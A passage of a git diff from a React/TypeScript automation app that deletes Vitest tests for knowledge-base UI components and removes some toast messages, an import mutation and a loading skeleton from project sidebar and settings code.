-            <KnowledgeBaseListItemTagList knowledgeBaseId="123" remainingTags={mockRemainingTags} tags={mockTags} />
-        );
-
-        expect(screen.getByTestId('tag-list')).toHaveTextContent('Tags: 2');
-    });
-
-    it('passes converted remaining tags to TagList', () => {
-        render(
-            <KnowledgeBaseListItemTagList knowledgeBaseId="123" remainingTags={mockRemainingTags} tags={mockTags} />
-        );
-
-        expect(screen.getByTestId('tag-list')).toHaveTextContent('Remaining: 1');
-    });
-
-    it('passes correct props to hook', () => {
-        render(
-            <KnowledgeBaseListItemTagList knowledgeBaseId="123" remainingTags={mockRemainingTags} tags={mockTags} />
-        );
-
-        expect(hoisted.mockUseKnowledgeBaseListItemTagList).toHaveBeenCalledWith({
-            knowledgeBaseId: '123',
-            remainingTags: mockRemainingTags,
-            tags: mockTags,
-        });
-    });
-
-    it('handles undefined remaining tags', () => {
-        hoisted.mockUseKnowledgeBaseListItemTagList.mockReturnValue({
-            ...defaultMockReturn,
-            convertedRemainingTags: undefined,
-        });
-
-        render(<KnowledgeBaseListItemTagList knowledgeBaseId="123" tags={mockTags} />);
-
-        expect(screen.getByTestId('tag-list')).toHaveTextContent('Remaining: 0');
-    });
-});
diff --git a/client/src/pages/automation/knowledge-bases/components/tests/CreateKnowledgeBaseDialog.test.tsx b/client/src/pages/automation/knowledge-bases/components/tests/CreateKnowledgeBaseDialog.test.tsx
deleted file mode 100644
index 349fa03b99d..00000000000
--- a/client/src/pages/automation/knowledge-bases/components/tests/CreateKnowledgeBaseDialog.test.tsx
+++ /dev/null
@@ -1,226 +0,0 @@
-import {render, resetAll, screen, userEvent, windowResizeObserver} from '@/shared/util/test-utils';
-import {afterEach, beforeEach, describe, expect, it, vi} from 'vitest';
-
-import CreateKnowledgeBaseDialog from '../CreateKnowledgeBaseDialog';
-
-const hoisted = vi.hoisted(() => {
-    return {
-        handleFileChange: vi.fn(),
-        handleOpenChange: vi.fn(),
-        handleSubmit: vi.fn(),
-        mockUseCreateKnowledgeBaseDialog: vi.fn(),
-        removeFile: vi.fn(),
-        setDescription: vi.fn(),
-        setMaxChunkSize: vi.fn(),
-        setMinChunkSizeChars: vi.fn(),
-        setName: vi.fn(),
-        setOpen: vi.fn(),
-        setOverlapSize: vi.fn(),
-    };
-});
-
-vi.mock('../hooks/useCreateKnowledgeBaseDialog', () => ({
-    default: hoisted.mockUseCreateKnowledgeBaseDialog,
-}));
-
-vi.mock('@/components/Button/Button', () => ({
-    default: ({
-        children,
-        disabled,
-        onClick,
-    }: {
-        children?: React.ReactNode;
-        disabled?: boolean;
-        onClick?: () => void;
-        variant?: string;
-    }) => (
-        <button data-testid="button" disabled={disabled} onClick={onClick}>
-            {children}
-        </button>
-    ),
-}));
-
-vi.mock('@/components/ui/dialog', () => ({
-    Dialog: ({children, open}: {children: React.ReactNode; onOpenChange?: (open: boolean) => void; open?: boolean}) =>
-        open ? <div data-testid="dialog">{children}</div> : null,
-    DialogCloseButton: () => <button data-testid="dialog-close">Close</button>,
-    DialogContent: ({children}: {children: React.ReactNode; className?: string}) => (
-        <div data-testid="dialog-content">{children}</div>
-    ),
-    DialogDescription: ({children}: {children: React.ReactNode}) => <p data-testid="dialog-description">{children}</p>,
-    DialogFooter: ({children}: {children: React.ReactNode}) => <div data-testid="dialog-footer">{children}</div>,
-    DialogHeader: ({children}: {children: React.ReactNode; className?: string}) => (
-        <div data-testid="dialog-header">{children}</div>
-    ),
-    DialogTitle: ({children}: {children: React.ReactNode}) => <h2 data-testid="dialog-title">{children}</h2>,
-    DialogTrigger: ({children}: {asChild?: boolean; children: React.ReactNode}) => (
-        <div data-testid="dialog-trigger">{children}</div>
-    ),
-}));
-
-const defaultMockReturn = {
-    canSubmit: true,
-    createMutation: {isPending: false},
-    description: '',
-    formatFileSize: (bytes: number) => `${bytes} bytes`,
-    handleFileChange: hoisted.handleFileChange,
-    handleOpenChange: hoisted.handleOpenChange,
-    handleSubmit: hoisted.handleSubmit,
-    maxChunkSize: '1024',
-    minChunkSizeChars: '1',
-    name: '',
-    open: true,
-    overlapSize: '200',
-    removeFile: hoisted.removeFile,
-    selectedFiles: [] as {file: File; status: 'completed' | 'error' | 'pending' | 'processing' | 'uploading'}[],
-    setDescription: hoisted.setDescription,
-    setMaxChunkSize: hoisted.setMaxChunkSize,
-    setMinChunkSizeChars: hoisted.setMinChunkSizeChars,
-    setName: hoisted.setName,
-    setOpen: hoisted.setOpen,
-    setOverlapSize: hoisted.setOverlapSize,
-    uploading: false,
-};
-
-beforeEach(() => {
-    windowResizeObserver();
-    hoisted.mockUseCreateKnowledgeBaseDialog.mockReturnValue({...defaultMockReturn});
-});
-
-afterEach(() => {
-    resetAll();
-    vi.clearAllMocks();
-});
-
-describe('CreateKnowledgeBaseDialog', () => {
-    it('renders dialog when open', () => {
-        render(<CreateKnowledgeBaseDialog workspaceId="ws-1" />);
-
-        expect(screen.getByTestId('dialog')).toBeInTheDocument();
-    });
-
-    it('renders dialog title', () => {
-        render(<CreateKnowledgeBaseDialog workspaceId="ws-1" />);
-
-        expect(screen.getByTestId('dialog-title')).toHaveTextContent('Create Knowledge Base');
-    });
-
-    it('renders name input', () => {
-        render(<CreateKnowledgeBaseDialog workspaceId="ws-1" />);
-
-        expect(screen.getByPlaceholderText('New KB')).toBeInTheDocument();
-    });
-
-    it('renders description textarea', () => {
-        render(<CreateKnowledgeBaseDialog workspaceId="ws-1" />);
-
-        expect(screen.getByPlaceholderText('Describe this knowledge base (optional)')).toBeInTheDocument();
-    });
-
-    it('renders min chunk size input', () => {
-        render(<CreateKnowledgeBaseDialog workspaceId="ws-1" />);
-
-        expect(screen.getByText('Min Chunk Size (characters)')).toBeInTheDocument();
-    });
-
-    it('renders max chunk size input', () => {
-        render(<CreateKnowledgeBaseDialog workspaceId="ws-1" />);
-
-        expect(screen.getByText('Max Chunk Size (tokens)')).toBeInTheDocument();
-    });
-
-    it('renders overlap size input', () => {
-        render(<CreateKnowledgeBaseDialog workspaceId="ws-1" />);
-
-        expect(screen.getByText('Overlap Size (tokens)')).toBeInTheDocument();
-    });
-
-    it('renders file upload area', () => {
-        render(<CreateKnowledgeBaseDialog workspaceId="ws-1" />);
-
-        expect(screen.getByText('Drop files here or click to browse')).toBeInTheDocument();
-    });
-
-    it('calls setName when name input changes', async () => {
-        render(<CreateKnowledgeBaseDialog workspaceId="ws-1" />);
-
-        const nameInput = screen.getByPlaceholderText('New KB');
-        await userEvent.type(nameInput, 'Test');
-
-        expect(hoisted.setName).toHaveBeenCalled();
-    });
-
-    it('calls setDescription when description changes', async () => {
-        render(<CreateKnowledgeBaseDialog workspaceId="ws-1" />);
-
-        const descriptionInput = screen.getByPlaceholderText('Describe this knowledge base (optional)');
-        await userEvent.type(descriptionInput, 'Test');
-
-        expect(hoisted.setDescription).toHaveBeenCalled();
-    });
-
-    it('disables Create button when canSubmit is false', () => {
-        hoisted.mockUseCreateKnowledgeBaseDialog.mockReturnValue({
-            ...defaultMockReturn,
-            canSubmit: false,
-        });
-
-        render(<CreateKnowledgeBaseDialog workspaceId="ws-1" />);
-
-        const createButton = screen.getByText('Create').closest('button');
-
-        expect(createButton).toBeDisabled();
-    });
-
-    it('shows Creating... when mutation is pending', () => {
-        hoisted.mockUseCreateKnowledgeBaseDialog.mockReturnValue({
-            ...defaultMockReturn,
-            createMutation: {isPending: true},
-        });
-
-        render(<CreateKnowledgeBaseDialog workspaceId="ws-1" />);
-
-        expect(screen.getByText('Creating...')).toBeInTheDocument();
-    });
-
-    it('shows upload progress when uploading', () => {
-        hoisted.mockUseCreateKnowledgeBaseDialog.mockReturnValue({
-            ...defaultMockReturn,
-            selectedFiles: [
-                {file: new File([''], 'test.pdf'), status: 'completed'},
-                {file: new File([''], 'test2.pdf'), status: 'uploading'},
-            ],
-            uploading: true,
-        });
-
-        render(<CreateKnowledgeBaseDialog workspaceId="ws-1" />);
-
-        expect(screen.getByText('Uploading 1/2...')).toBeInTheDocument();
-    });
-
-    it('renders selected files', () => {
-        hoisted.mockUseCreateKnowledgeBaseDialog.mockReturnValue({
-            ...defaultMockReturn,
-            selectedFiles: [{file: new File([''], 'test.pdf'), status: 'pending'}],
-        });
-
-        render(<CreateKnowledgeBaseDialog workspaceId="ws-1" />);
-
-        expect(screen.getByText('test.pdf')).toBeInTheDocument();
-    });
-
-    it('calls handleSubmit when Create is clicked', async () => {
-        render(<CreateKnowledgeBaseDialog workspaceId="ws-1" />);
-
-        const createButton = screen.getByText('Create');
-        await userEvent.click(createButton);
-
-        expect(hoisted.handleSubmit).toHaveBeenCalled();
-    });
-
-    it('passes workspaceId to hook', () => {
-        render(<CreateKnowledgeBaseDialog workspaceId="ws-123" />);
-
-        expect(hoisted.mockUseCreateKnowledgeBaseDialog).toHaveBeenCalledWith({workspaceId: 'ws-123'});
-    });
-});
diff --git a/client/src/pages/automation/knowledge-bases/components/tests/KnowledgeBasesFilterTitle.test.tsx b/client/src/pages/automation/knowledge-bases/components/tests/KnowledgeBasesFilterTitle.test.tsx
deleted file mode 100644
index 11ae1e8dff6..00000000000
--- a/client/src/pages/automation/knowledge-bases/components/tests/KnowledgeBasesFilterTitle.test.tsx
+++ /dev/null
@@ -1,98 +0,0 @@
-import {render, resetAll, screen, windowResizeObserver} from '@/shared/util/test-utils';
-import {afterEach, beforeEach, describe, expect, it, vi} from 'vitest';
-
-import KnowledgeBasesFilterTitle from '../KnowledgeBasesFilterTitle';
-
-const hoisted = vi.hoisted(() => {
-    return {
-        mockUseKnowledgeBasesFilterTitle: vi.fn(),
-    };
-});
-
-vi.mock('../hooks/useKnowledgeBasesFilterTitle', () => ({
-    default: hoisted.mockUseKnowledgeBasesFilterTitle,
-}));
-
-vi.mock('@/components/Badge/Badge', () => ({
-    default: ({label}: {label: string; styleType?: string; weight?: string}) => (
-        <span data-testid="badge">{label}</span>
-    ),
-}));
-
-const mockAllTags = [
-    {id: '1', name: 'Tag 1'},
-    {id: '2', name: 'Tag 2'},
-];
-
-const mockTagsByKnowledgeBase = [{knowledgeBaseId: 'kb-1', tags: [{id: '1', name: 'Tag 1'}]}];
-
-const defaultMockReturn = {
-    pageTitle: undefined,
-    tagId: null,
-};
-
-beforeEach(() => {
-    windowResizeObserver();
-    hoisted.mockUseKnowledgeBasesFilterTitle.mockReturnValue({...defaultMockReturn});
-});
-
-afterEach(() => {
-    resetAll();
-    vi.clearAllMocks();
-});
-
-describe('KnowledgeBasesFilterTitle', () => {
-    it('renders filter by text', () => {
-        render(<KnowledgeBasesFilterTitle allTags={mockAllTags} tagsByKnowledgeBaseData={mockTagsByKnowledgeBase} />);
-
-        expect(screen.getByText('Filter by')).toBeInTheDocument();
-    });
-
-    it('shows none when no tag filter', () => {
-        render(<KnowledgeBasesFilterTitle allTags={mockAllTags} tagsByKnowledgeBaseData={mockTagsByKnowledgeBase} />);
-
-        expect(screen.getByText('none')).toBeInTheDocument();
-    });
-
-    it('shows tag label when tag filter is active', () => {
-        hoisted.mockUseKnowledgeBasesFilterTitle.mockReturnValue({
-            pageTitle: 'Tag 1',
-            tagId: '1',
-        });
-
-        render(<KnowledgeBasesFilterTitle allTags={mockAllTags} tagsByKnowledgeBaseData={mockTagsByKnowledgeBase} />);
-
-        expect(screen.getByText('tag:')).toBeInTheDocument();
-    });
-
-    it('renders badge with tag name', () => {
-        hoisted.mockUseKnowledgeBasesFilterTitle.mockReturnValue({
-            pageTitle: 'Tag 1',
-            tagId: '1',
-        });
-
-        render(<KnowledgeBasesFilterTitle allTags={mockAllTags} tagsByKnowledgeBaseData={mockTagsByKnowledgeBase} />);
-
-        expect(screen.getByTestId('badge')).toHaveTextContent('Tag 1');
-    });
-
-    it('shows Unknown Tag when pageTitle is not a string', () => {
-        hoisted.mockUseKnowledgeBasesFilterTitle.mockReturnValue({
-            pageTitle: undefined,
-            tagId: '1',
-        });
-
-        render(<KnowledgeBasesFilterTitle allTags={mockAllTags} tagsByKnowledgeBaseData={mockTagsByKnowledgeBase} />);
-
-        expect(screen.getByTestId('badge')).toHaveTextContent('Unknown Tag');
-    });
-
-    it('passes correct props to hook', () => {
-        render(<KnowledgeBasesFilterTitle allTags={mockAllTags} tagsByKnowledgeBaseData={mockTagsByKnowledgeBase} />);
-
-        expect(hoisted.mockUseKnowledgeBasesFilterTitle).toHaveBeenCalledWith({
-            allTags: mockAllTags,
-            tagsByKnowledgeBaseData: mockTagsByKnowledgeBase,
-        });
-    });
-});
diff --git a/client/src/pages/automation/knowledge-bases/components/tests/KnowledgeBasesLeftSidebarNav.test.tsx b/client/src/pages/automation/knowledge-bases/components/tests/KnowledgeBasesLeftSidebarNav.test.tsx
deleted file mode 100644
index c73439dd4b0..00000000000
--- a/client/src/pages/automation/knowledge-bases/components/tests/KnowledgeBasesLeftSidebarNav.test.tsx
+++ /dev/null
@@ -1,136 +0,0 @@
-import {render, resetAll, screen, windowResizeObserver} from '@/shared/util/test-utils';
-import {afterEach, beforeEach, describe, expect, it, vi} from 'vitest';
-
-import KnowledgeBasesLeftSidebarNav from '../KnowledgeBasesLeftSidebarNav';
-
-const hoisted = vi.hoisted(() => {
-    return {
-        mockUseKnowledgeBasesLeftSidebarNav: vi.fn(),
-    };
-});
-
-vi.mock('../hooks/useKnowledgeBasesLeftSidebarNav', () => ({
-    default: hoisted.mockUseKnowledgeBasesLeftSidebarNav,
-}));
-
-vi.mock('@/shared/layout/LeftSidebarNav', () => ({
-    LeftSidebarNav: ({body, title}: {body: React.ReactNode; title: string}) => (
-        <nav data-testid="left-sidebar-nav">
-            <h3>{title}</h3>
-
-            {body}
-        </nav>
-    ),
-    LeftSidebarNavItem: ({
-        item,
-        toLink,
-    }: {
-        icon?: React.ReactNode;
-        item: {current: boolean; id: number | string; name: string};
-        toLink: string;
-    }) => (
-        <a data-current={item.current} data-testid={`nav-item-${item.id}`} href={toLink}>
-            {item.name}
-        </a>
-    ),
-}));
-
-const defaultMockReturn = {
-    hasData: true,
-    isLoading: false,
-    tagId: null,
-    tags: [
-        {id: '1', name: 'Tag 1'},
-        {id: '2', name: 'Tag 2'},
-    ],
-};
-
-beforeEach(() => {
-    windowResizeObserver();
-    hoisted.mockUseKnowledgeBasesLeftSidebarNav.mockReturnValue({...defaultMockReturn});
-});
-
-afterEach(() => {
-    resetAll();
-    vi.clearAllMocks();
-});
-
-describe('KnowledgeBasesLeftSidebarNav', () => {
-    it('renders sidebar nav when has data', () => {
-        render(<KnowledgeBasesLeftSidebarNav />);
-
-        expect(screen.getByTestId('left-sidebar-nav')).toBeInTheDocument();
-    });
-
-    it('renders nothing when no data', () => {
-        hoisted.mockUseKnowledgeBasesLeftSidebarNav.mockReturnValue({
-            ...defaultMockReturn,
-            hasData: false,
-        });
-
-        render(<KnowledgeBasesLeftSidebarNav />);
-
-        expect(screen.queryByTestId('left-sidebar-nav')).not.toBeInTheDocument();
-    });
-
-    it('renders title', () => {
-        render(<KnowledgeBasesLeftSidebarNav />);
-
-        expect(screen.getByText('Tags')).toBeInTheDocument();
-    });
-
-    it('renders tag items', () => {
-        render(<KnowledgeBasesLeftSidebarNav />);
-
-        expect(screen.getByTestId('nav-item-1')).toBeInTheDocument();
-        expect(screen.getByTestId('nav-item-2')).toBeInTheDocument();
-    });
-
-    it('renders tag names', () => {
-        render(<KnowledgeBasesLeftSidebarNav />);
-
-        expect(screen.getByText('Tag 1')).toBeInTheDocument();
-        expect(screen.getByText('Tag 2')).toBeInTheDocument();
-    });
-
-    it('marks current tag as current', () => {
-        hoisted.mockUseKnowledgeBasesLeftSidebarNav.mockReturnValue({
-            ...defaultMockReturn,
-            tagId: '1',
-        });
-
-        render(<KnowledgeBasesLeftSidebarNav />);
-
-        expect(screen.getByTestId('nav-item-1')).toHaveAttribute('data-current', 'true');
-        expect(screen.getByTestId('nav-item-2')).toHaveAttribute('data-current', 'false');
-    });
-
-    it('renders correct links', () => {
-        render(<KnowledgeBasesLeftSidebarNav />);
-
-        expect(screen.getByTestId('nav-item-1')).toHaveAttribute('href', '?tagId=1');
-        expect(screen.getByTestId('nav-item-2')).toHaveAttribute('href', '?tagId=2');
-    });
-
-    it('shows no tags message when tags array is empty', () => {
-        hoisted.mockUseKnowledgeBasesLeftSidebarNav.mockReturnValue({
-            ...defaultMockReturn,
-            tags: [],
-        });
-
-        render(<KnowledgeBasesLeftSidebarNav />);
-
-        expect(screen.getByText('No defined tags.')).toBeInTheDocument();
-    });
-
-    it('does not render items when loading', () => {
-        hoisted.mockUseKnowledgeBasesLeftSidebarNav.mockReturnValue({
-            ...defaultMockReturn,
-            isLoading: true,
-        });
-
-        render(<KnowledgeBasesLeftSidebarNav />);
-
-        expect(screen.queryByTestId('nav-item-1')).not.toBeInTheDocument();
-    });
-});
diff --git a/client/src/pages/automation/knowledge-bases/tests/KnowledgeBases.test.tsx b/client/src/pages/automation/knowledge-bases/tests/KnowledgeBases.test.tsx
deleted file mode 100644
index ed58494b153..00000000000
--- a/client/src/pages/automation/knowledge-bases/tests/KnowledgeBases.test.tsx
+++ /dev/null
@@ -1,282 +0,0 @@
-import {render, resetAll, screen, windowResizeObserver} from '@/shared/util/test-utils';
-import {afterEach, beforeEach, describe, expect, it, vi} from 'vitest';
-
-import KnowledgeBases from '../KnowledgeBases';
-
-const hoisted = vi.hoisted(() => {
-    return {
-        currentWorkspaceId: 1049,
-        mockUseKnowledgeBases: vi.fn(),
-    };
-});
-
-vi.mock('../components/hooks/useKnowledgeBases', () => ({
-    default: hoisted.mockUseKnowledgeBases,
-}));
-
-vi.mock('@/pages/automation/stores/useWorkspaceStore', () => ({
-    useWorkspaceStore: vi.fn((selector: (state: {currentWorkspaceId: number}) => number) =>
-        selector({currentWorkspaceId: hoisted.currentWorkspaceId})
-    ),
-}));
-
-vi.mock('@/components/PageLoader', () => ({
-    default: ({children, errors, loading}: {children: React.ReactNode; errors: unknown[]; loading: boolean}) =>
-        loading ? (
-            <div data-testid="page-loader-loading">Loading...</div>
-        ) : errors.filter(Boolean).length > 0 ? (
-            <div data-testid="page-loader-error">Error</div>
-        ) : (
-            <div data-testid="page-loader-content">{children}</div>
-        ),
-}));
-
-vi.mock('@/components/EmptyList', () => ({
-    default: ({
-        button,
-        icon,
-        message,
-        title,
-    }: {
-        button: React.ReactNode;
-        icon: React.ReactNode;
-        message: string;
-        title: string;
-    }) => (
-        <div data-testid="empty-list">
-            {icon}
-
-            <h2>{title}</h2>
-
-            <p>{message}</p>
-
-            {button}
-        </div>
-    ),
-}));
-
-vi.mock('@/components/Button/Button', () => ({
-    default: ({children}: {children: React.ReactNode}) => <button data-testid="button">{children}</button>,
-}));
-
-vi.mock('../components/CreateKnowledgeBaseDialog', () => ({
-    default: ({trigger, workspaceId}: {trigger?: React.ReactNode; workspaceId: string}) => (
-        <div data-testid={`create-dialog-${workspaceId}`}>{trigger}</div>
-    ),
-}));
-
-vi.mock('../components/KnowledgeBasesFilterTitle', () => ({
-    default: () => <div data-testid="filter-title">Filter Title</div>,
-}));
-
-vi.mock('../components/KnowledgeBasesLeftSidebarNav', () => ({
-    default: () => <nav data-testid="left-sidebar-nav">Sidebar</nav>,
-}));
-
-vi.mock('../components/knowledge-base-list/KnowledgeBaseList', () => ({
-    default: ({
-        knowledgeBases,
-    }: {
-        allTags: unknown[];
-        knowledgeBases: unknown[];
-        tagsByKnowledgeBaseData: unknown[];
-    }) => <div data-testid="knowledge-base-list">List ({knowledgeBases.length} items)</div>,
-}));
-
-vi.mock('@/shared/layout/Header', () => ({
-    default: ({
-        right,
-        title,
-    }: {
-        centerTitle?: boolean;
-        position?: string;
-        right?: React.ReactNode;
-        title?: React.ReactNode;
-    }) => (
-        <header data-testid="header">
-            <div data-testid="header-title">{title}</div>
-
-            <div data-testid="header-right">{right}</div>
-        </header>
-    ),
-}));
-
-vi.mock('@/shared/layout/LayoutContainer', () => ({
-    default: ({
-        children,
-        header,
-        leftSidebarBody,
-        leftSidebarHeader,
-    }: {
-        children: React.ReactNode;
-        header: React.ReactNode;
-        leftSidebarBody: React.ReactNode;
-        leftSidebarHeader: React.ReactNode;
-        leftSidebarWidth: string;
-    }) => (
-        <div data-testid="layout-container">
-            <div data-testid="layout-header">{header}</div>
-
-            <div data-testid="layout-sidebar-header">{leftSidebarHeader}</div>
-
-            <div data-testid="layout-sidebar-body">{leftSidebarBody}</div>
-
-            <div data-testid="layout-content">{children}</div>
-        </div>
-    ),
-}));
-
-const mockKnowledgeBases = [
-    {id: 'kb-1', name: 'KB 1'},
-    {id: 'kb-2', name: 'KB 2'},
-];
-
-const mockAllTags = [
-    {id: '1', name: 'Tag 1'},
-    {id: '2', name: 'Tag 2'},
-];
-
-const mockTagsByKnowledgeBase = [{knowledgeBaseId: 'kb-1', tags: [{id: '1', name: 'Tag 1'}]}];
-
-const defaultMockReturn = {
-    allTags: mockAllTags,
-    error: null,
-    filteredKnowledgeBases: mockKnowledgeBases,
-    isLoading: false,
-    knowledgeBases: mockKnowledgeBases,
-    tagId: undefined,
-    tagsByKnowledgeBaseData: mockTagsByKnowledgeBase,
-};
-
-beforeEach(() => {
-    windowResizeObserver();
-    hoisted.mockUseKnowledgeBases.mockReturnValue({...defaultMockReturn});
-});
-
-afterEach(() => {
-    resetAll();
-    vi.clearAllMocks();
-});
-
-describe('KnowledgeBases', () => {
-    it('renders layout container', () => {
-        render(<KnowledgeBases />);
-
-        expect(screen.getByTestId('layout-container')).toBeInTheDocument();
-    });
-
-    it('renders left sidebar nav', () => {
-        render(<KnowledgeBases />);
-
-        expect(screen.getByTestId('left-sidebar-nav')).toBeInTheDocument();
-    });
-
-    it('renders sidebar header', () => {
-        render(<KnowledgeBases />);
-
-        expect(screen.getByText('Knowledge Base')).toBeInTheDocument();
-    });
-
-    it('shows loading state', () => {
-        hoisted.mockUseKnowledgeBases.mockReturnValue({
-            ...defaultMockReturn,
-            isLoading: true,
-        });
-
-        render(<KnowledgeBases />);
-
-        expect(screen.getByTestId('page-loader-loading')).toBeInTheDocument();
-    });
-
-    it('shows error state', () => {
-        hoisted.mockUseKnowledgeBases.mockReturnValue({
-            ...defaultMockReturn,
-            error: new Error('Test error'),
-        });
-
-        render(<KnowledgeBases />);
-
-        expect(screen.getByTestId('page-loader-error')).toBeInTheDocument();
-    });
-
-    it('renders knowledge base list when has data', () => {
-        render(<KnowledgeBases />);
-
-        expect(screen.getByTestId('knowledge-base-list')).toBeInTheDocument();
-    });
-
-    it('shows correct item count in list', () => {
-        render(<KnowledgeBases />);
-
-        expect(screen.getByTestId('knowledge-base-list')).toHaveTextContent('List (2 items)');
-    });
-
-    it('renders main header when knowledge bases exist', () => {
-        render(<KnowledgeBases />);
-
-        // The main header should contain the filter title
-        expect(screen.getByTestId('layout-header')).toBeInTheDocument();
-    });
-
-    it('renders filter title in header', () => {
-        render(<KnowledgeBases />);
-
-        expect(screen.getByTestId('filter-title')).toBeInTheDocument();
-    });
-
-    it('renders create dialog in header', () => {
-        render(<KnowledgeBases />);
-
-        expect(screen.getByTestId('create-dialog-1049')).toBeInTheDocument();
-    });
-
-    it('shows empty list when no knowledge bases', () => {
-        hoisted.mockUseKnowledgeBases.mockReturnValue({
-            ...defaultMockReturn,
-            filteredKnowledgeBases: [],
-            knowledgeBases: [],
-        });
-
-        render(<KnowledgeBases />);
-
-        expect(screen.getByTestId('empty-list')).toBeInTheDocument();
-    });
-
-    it('shows default empty message when no tag filter', () => {
-        hoisted.mockUseKnowledgeBases.mockReturnValue({
-            ...defaultMockReturn,
-            filteredKnowledgeBases: [],
-            knowledgeBases: [],
-        });
-
-        render(<KnowledgeBases />);
-
-        expect(screen.getByText('No Knowledge Bases')).toBeInTheDocument();
-        expect(screen.getByText('Get started by creating a new knowledge base.')).toBeInTheDocument();
-    });
-
-    it('shows filtered empty message when tag filter active', () => {
-        hoisted.mockUseKnowledgeBases.mockReturnValue({
-            ...defaultMockReturn,
-            filteredKnowledgeBases: [],
-            tagId: '1',
-        });
-
-        render(<KnowledgeBases />);
-
-        expect(screen.getByText('No Matching Knowledge Bases')).toBeInTheDocument();
-        expect(screen.getByText('No knowledge bases match the selected tag.')).toBeInTheDocument();
-    });
-
-    it('does not render main header when no knowledge bases', () => {
-        hoisted.mockUseKnowledgeBases.mockReturnValue({
-            ...defaultMockReturn,
-            filteredKnowledgeBases: [],
-            knowledgeBases: [],
-        });
-
-        render(<KnowledgeBases />);
-
-        expect(screen.queryByTestId('filter-title')).not.toBeInTheDocument();
-    });
-});
diff --git a/client/src/pages/automation/project/components/project-header/components/settings-menu/hooks/useSettingsMenu.ts b/client/src/pages/automation/project/components/project-header/components/settings-menu/hooks/useSettingsMenu.ts
index 8767d9ab6ff..c01854052e9 100644
--- a/client/src/pages/automation/project/components/project-header/components/settings-menu/hooks/useSettingsMenu.ts
+++ b/client/src/pages/automation/project/components/project-header/components/settings-menu/hooks/useSettingsMenu.ts
@@ -53,38 +53,19 @@ export const useSettingsMenu = ({project, workflow}: {project: Project; workflow
     });
 
     const duplicateProjectMutation = useDuplicateProjectMutation({
-        onError: () => {
-            toast({
-                description: `Project duplication failed.`,
-                variant: 'destructive',
-            });
-        },
         onSuccess: () => {
             queryClient.invalidateQueries({queryKey: ProjectKeys.projects});
 
             navigate(`/automation/projects/${project?.id}/project-workflows/${project?.projectWorkflowIds![0]}`);
-
-            toast({
-                description: 'Project duplicated successfully.',
-            });
         },
     });
 
     const duplicateWorkflowMutation = useDuplicateWorkflowMutation({
         onError: () => {
             queryClient.invalidateQueries({queryKey: ProjectKeys.projects});
-
-            toast({
-                description: 'Workflow duplication failed.',
-                variant: 'destructive',
-            });
         },
         onSuccess: () => {
             queryClient.invalidateQueries({queryKey: ProjectKeys.projects});
-
-            toast({
-                description: 'Workflow duplicated successfully.',
-            });
         },
     });
 
diff --git a/client/src/pages/automation/project/components/projects-sidebar/ProjectsLeftSidebar.test.tsx b/client/src/pages/automation/project/components/projects-sidebar/ProjectsLeftSidebar.test.tsx
index 652b8a02b4e..a65fefe8bfd 100644
--- a/client/src/pages/automation/project/components/projects-sidebar/ProjectsLeftSidebar.test.tsx
+++ b/client/src/pages/automation/project/components/projects-sidebar/ProjectsLeftSidebar.test.tsx
@@ -122,15 +122,6 @@ vi.mock('@/shared/stores/useFeatureFlagsStore', () => ({
     useFeatureFlagsStore: () => () => true, // always enable ff_1041
 }));
 
-vi.mock('@/shared/mutations/automation/projects.mutations', () => ({
-    // eslint-disable-next-line @typescript-eslint/no-explicit-any
-    useImportProjectMutation: (opts: any) => ({
-        mutate: vi.fn().mockImplementation(() => {
-            opts?.onSuccess?.();
-        }),
-    }),
-}));
-
 vi.mock('@/shared/mutations/automation/workflows.mutations', () => ({
     // eslint-disable-next-line @typescript-eslint/no-explicit-any
     useCreateProjectWorkflowMutation: (opts: any) => ({
diff --git a/client/src/pages/automation/project/components/projects-sidebar/ProjectsLeftSidebar.tsx b/client/src/pages/automation/project/components/projects-sidebar/ProjectsLeftSidebar.tsx
index 3043f580730..afd8b9b8927 100644
--- a/client/src/pages/automation/project/components/projects-sidebar/ProjectsLeftSidebar.tsx
+++ b/client/src/pages/automation/project/components/projects-sidebar/ProjectsLeftSidebar.tsx
@@ -2,7 +2,6 @@ import Button from '@/components/Button/Button';
 import {ButtonGroup} from '@/components/ui/button-group';
 import {DropdownMenu, DropdownMenuContent, DropdownMenuItem, DropdownMenuTrigger} from '@/components/ui/dropdown-menu';
 import {ScrollArea} from '@/components/ui/scroll-area';
-import {Skeleton} from '@/components/ui/skeleton';
 import {Tooltip, TooltipContent, TooltipTrigger} from '@/components/ui/tooltip';
 import {useToast} from '@/hooks/use-toast';
 import ProjectSelect from '@/pages/automation/project/components/projects-sidebar/components/ProjectSelect';
@@ -17,7 +16,6 @@ import ProjectDialog from '@/pages/automation/projects/components/ProjectDialog'
 import {useWorkspaceStore} from '@/pages/automation/stores/useWorkspaceStore';
 import WorkflowDialog from '@/shared/components/workflow/WorkflowDialog';
 import {useAnalytics} from '@/shared/hooks/useAnalytics';
-import {useImportProjectMutation} from '@/shared/mutations/automation/projects.mutations';
 import {useCreateProjectWorkflowMutation} from '@/shared/mutations/automation/workflows.mutations';
 import {useGetProjectWorkflowsQuery, useGetWorkflowsQuery} from '@/shared/queries/automation/projectWorkflows.queries';
 import {ProjectKeys, useGetWorkspaceProjectsQuery} from '@/shared/queries/automation/projects.queries';
@@ -95,16 +93,6 @@ const ProjectsLeftSidebar = ({
 
     const queryClient = useQueryClient();
 
-    const importProjectMutation = useImportProjectMutation({
-        onSuccess: () => {
-            queryClient.invalidateQueries({queryKey: ProjectKeys.projects});
-
-            toast({
-                description: 'Project is imported.',
-            });
-        },
-    });
-
     const importProjectWorkflowMutation = useCreateProjectWorkflowMutation({
         onSuccess: () => {
             captureProjectWorkflowImported();
@@ -149,84 +137,76 @@ const ProjectsLeftSidebar = ({
     return (
         <aside className="flex h-full flex-col items-center gap-2 bg-surface-main pt-3">
             <div className="mx-4 flex w-80 flex-col gap-2">
-                {projectsLoading ? (
+                {projects && (
                     <div className="flex items-center gap-2">
-                        <Skeleton className="h-9 flex-1 rounded-md" />
-
-                        <Skeleton className="size-9 rounded-md" />
-                    </div>
-                ) : (
-                    projects && (
-                        <div className="flex items-center gap-2">
-                            <ProjectSelect
-                                projectId={projectId}
-                                projects={projects}
-                                selectedProjectId={selectedProjectId}
-                                setSelectedProjectId={setSelectedProjectId}
-                            />
-
-                            {ff_2482 ? (
-                                <DropdownMenu>
-                                    <Tooltip>
-                                        <DropdownMenuTrigger asChild>
-                                            <TooltipTrigger asChild>
-                                                <Button
-                                                    aria-label="New project"
-                                                    className="data-[state=open]:border-stroke-brand-secondary data-[state=open]:bg-surface-brand-secondary data-[state=open]:text-content-brand-primary"
